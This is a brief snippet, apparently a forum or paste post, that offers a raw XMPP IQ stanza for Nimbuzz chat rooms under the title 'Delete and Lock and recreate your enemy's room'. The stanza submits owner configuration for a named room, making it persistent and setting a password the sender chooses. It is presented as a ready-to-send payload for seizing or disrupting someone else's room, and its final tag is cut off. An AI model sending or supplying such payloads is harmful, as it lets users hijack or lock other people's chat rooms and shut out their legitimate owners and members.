Delete and Lock and recreate your enemy's room

<iq to="ROOM_NAME@conference.nimbuzz.com" type="set" id="muc_owner"><query xmlns="http://jabber.org/protocol/muc#owner"><x xmlns="jabber:x:data" type="submit"><field var="muc#roomconfig_roomname" type="text-single"><value>ROOM_NAME</value></field><field var="muc#roomconfig_roomdesc" type="text-single"><value></value></field><field var="muc#roomconfig_persistentroom" type="boolean"><value>1</value></field><field var="muc#roomconfig_passwordprotectedroom" type="boolean"><value>0</value></field><field var="muc#roomconfig_roomsecret" type="text-single"><value>URROOMPASSWORD HERE</value></field><field var="muc#roomconfig_maxusers" type="list-single"/></x></query></i